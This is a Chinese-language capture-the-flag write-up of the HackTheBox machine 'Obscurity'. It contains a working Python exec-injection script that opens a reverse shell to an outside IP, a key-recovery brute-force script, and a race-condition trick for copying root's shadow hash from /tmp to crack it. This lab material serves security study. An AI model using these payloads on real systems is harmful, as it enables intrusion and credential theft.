0x0B-HackTheBox-Obscurity

Set up

目标机器在 10.10.10.168.

Recon

Nmap

# Nmap 7.80 scan initiated Tue Apr 28 03:28:16 2020 as: nmap -A -T4 -p- -v -oN nmap.txt 10.10.10.168
adjust_timeouts2: packet supposedly had rtt of -935420 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -935420 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -1170053 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -1170053 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -3949760 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -3949760 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -2536185 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -2536185 microseconds.  Ignoring time.
Nmap scan report for 10.10.10.168
Host is up (0.25s latency).
Not shown: 65531 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServer
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Tue, 28 Apr 2020 07:41:07
|     Server: BadHTTPServer
|     Last-Modified: Tue, 28 Apr 2020 07:41:07
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!--
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|_    <div class="sk-spinner sk-spinner-wordpress">
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=4/28%Time=5EA7DDB2%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Tue,\x2028\x20Apr\x2020
SF:20\x2007:41:07\nServer:\x20BadHTTPServer\nLast-Modified:\x20Tue,\x2028\
SF:x20Apr\x202020\x2007:41:07\nContent-Length:\x204171\nContent-Type:\x20t
SF:ext/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"
SF:en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\
SF:n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<
SF:meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-s
SF:cale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20na
SF:me=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templ
SF:ate\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20st
SF:ylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boo
SF:tstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-a
SF:wesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templa
SF:temo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target
SF:=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<
SF:div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner
SF:-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20
SF:Tue,\x2028\x20Apr\x202020\x2007:41:07\nServer:\x20BadHTTPServer\nLast-M
SF:odified:\x20Tue,\x2028\x20Apr\x202020\x2007:41:07\nContent-Length:\x204
SF:171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20
SF:html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t
SF:<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20co
SF:ntent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conte
SF:nt=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nE
SF:asy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-pro
SF:file\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesh
SF:eet\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"
SF:scroll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20
SF:section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"s
SF:k-spinner\x20sk-spinner-wordpress\">\n");
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 2.6.X (92%), HP embedded (86%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 2.6.18 - 2.6.22 (92%), HP P2000 G3 NAS device (86%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 11.429 days (since Thu Apr 16 17:23:14 2020)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   237.05 ms 10.10.14.1
2   254.40 ms 10.10.10.168

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 28 03:40:28 2020 -- 1 IP address (1 host up) scanned in 732.47 seconds

开放了 228080 端口。

Enumeration

查看 8080 端口网站。

在这里插入图片描述

这里说有一个秘密的 development 目录,里面有服务端代码。

在这里插入图片描述

但是报错了

在这里插入图片描述

Directory Enumeration

用了 gobusterdirsearchdirbuster,都没有找到任何结果。

搜索 pentest webapp enumerate directory,一直看看看,直到看到 这篇文章,我看到了一个新工具 wfuzz

鼓捣了好一会儿,运行起来。

在这里插入图片描述

很快找到了隐藏路径 /develop

获取到 SuperSecureServer.py 的源码。

在这里插入图片描述

看源码。

看到了 exec

在这里插入图片描述

搜索 python exec exploit

在这里插入图片描述

第一篇文章 讲到了 execformat 的漏洞。

想起了当年 code review

服务端代码主干流程:

  • listenToClient 接收到客户端数据,封装成 Request 对象给 handleRequest
  • handleRequset 取出访问路径 (request.doc)传递给 serveDoc
  • serveDoc 将路径和 DocRoot 拼接,读取数据,返回数据

这个漏洞方法是 serveDoc。可以看到方法原型是 serveDoc(self, path, docRoot)

在这里插入图片描述

在几个调用方法的地方,传入的第二个参数 docRoot 是常量,这里忽略。主要是 path 这个变量。

path 会被做一次字符串格式化,然后由 exec 执行。

在这里插入图片描述

这里可以注入任何命令。

扩展阅读
Python EXEC

先在 ipython shell 尝试一下,只要没有报错,说明就执行成功了。这跟 sql 注入相似。我们要构造一个程序给 exec 执行。

字符串是 output = 'Document:',首先把 Document 的部分做成完整的字符串(注意这个单引号要做转义 \'),然后用 ; 号分隔,后面跟上我想要执行的命令,然后最后的引号部分用 # 注释掉。

最后结果是这样 \';print(1 + 2)#

在这里插入图片描述

输出了 3,说明命令执行成功。

Foothold

注入一个 python reverse shell one liner, 获得当前用户的 shell

直接在命令行注入不行,需要写一个 python 脚本。

pentestmonkey 找到 reverse shell

在这里插入图片描述

搜索 python make requests

扩展月的
Python GET POST Request

接下,要在 url 中注入命令的部分有很多引号等特殊字符,这些都要编码才行。

搜索 python encode url

在这里插入图片描述

扩展阅读
Python Encode Url

在这里插入图片描述

一开始就能找到答案。

quote encode 之后的注入命令看起来是这样的

在这里插入图片描述

完整的脚本就能拼凑出来(写完之后我先用 localhost 做了测试)。

import requests
import urllib
import os

target = 'http://10.10.10.168:8080/'

raw_payload = '\';' + 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.9",9903));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);#'

payload = urllib.parse.quote(raw_payload)
greetings = target + payload
print("[*] Executing payload...")
print("[*] Payload - " + greetings)

requests.get(greetings)

在这里插入图片描述

拿到 shell

查看 passwd 文件可以知道有一个用户名 robert

在这里插入图片描述

Privilege Escalation

Robert

在这里插入图片描述

有几个文件是乱码,check.txt 说用 key 加密这个文件可以得到 out.txt 的结果。应该是要破解一些密码。

这是 SuperSecureCrypt.py 的源码

import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
 metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)

看完源码,意思就是要一个 key,可以加密也可以解密。

encrypt(check.txt, key) = out.txt,知道其三,求 key

源码中的 encrypt 方法,就是拿着明文的每一个字符的 ascii,加上 key 的每一个字符的 ascii,然后和 255 取模,得到加密字符。其中 key 是循环的,到最后一个字符,如果 key 的长度没有铭文长,就从头开始循环。

扩展阅读
Python Read Unicode File

这是 key_hammer.py 源码

key = ''

with open('check.txt', 'r') as f_p:
    plain_text = f_p.read()
    print('plain text data:\n' + plain_text)

with open('out.txt', encoding='utf-8') as f_e:
    enc_data = f_e.read()
    print('encrypted data:\n' + repr(enc_data))

for idx, p in enumerate(plain_text):
    for i in range(255):
        decrypted = chr((ord(enc_data[idx]) - i) % 255)
        if decrypted == p:
            key += chr(i)

print('\n' + key)

最后获取到用户的加密 keyalexandrovich。之前分析过 key,只要明文的长度大于 keykey 的每个字符会被循环使用。

在这里插入图片描述

robert 的家目录中有一个 passwordreminder.txt,使用 key 加密过的。直接调用 SuperSecureCrypt.py 解密即可。

在这里插入图片描述

如图,即可登录 robert 的账户。

在这里插入图片描述

Root

在这里插入图片描述

用户可以使用 sudo 运行这个 BetterSSH.py

这是 BetterSSH.py 的源码

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass
hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

源码看完了就是一个用户输入,然后验证密码,最后开启管道与用户交互的过程。

扩展阅读
Python Crypt for Unix Password

其实这个机器太 CTF 了,不切实际。不过已经开始了还是要做完他。

在这里插入图片描述

看到 input,这里应该是一个 bypass 密码验证的问题。

扩展阅读
Python Input Function Exploit
Python Input Vulnerability
Python2 vs Python3 in Security

读完第三篇文章,就知道不能利用 input 了。目标机器是 python3raw_input 已经变成了 input,已经没有安全问题。

那就是这里,刚才注意到这个程序会往 /tmp 里面写 passwd 文件。

在这里插入图片描述

但是只要密码错了,后面会去删除这个临时文件。

在这里插入图片描述

想个办法在程序运行时复制一份这个文件即可。

创建一个名字任意的文件夹 (我这里是 passwd),然后写一个循环不停尝试复制 SSH 文件夹里的内容到 passwd 就可以了。

while true; do cp ./SSH/* ./passwd; done;

运行起来会一直报错,但是不管,因为程序还没有去创建文件。

在这里插入图片描述

另一个 shell 去运行 BetterSSH.py 即可。

在这里插入图片描述

用户输入 root,密码随便输入,然后我看到了 passwd 的临时文件。roothash 就在文件里。

在这里插入图片描述

最后一步,JTR 破解密码。

在这里插入图片描述

奔驰 😂

在这里插入图片描述

I'm in...


小问题

直接运行 BetterSSH.py

在这里插入图片描述

运行报错了,看资料好像还是权限的问题,但是 robert 是由权限运行这个程序的。

扩展阅读
Granting User with NOPASS Privilege

再尝试了一下用绝对路径运行

在这里插入图片描述

就没有报错了。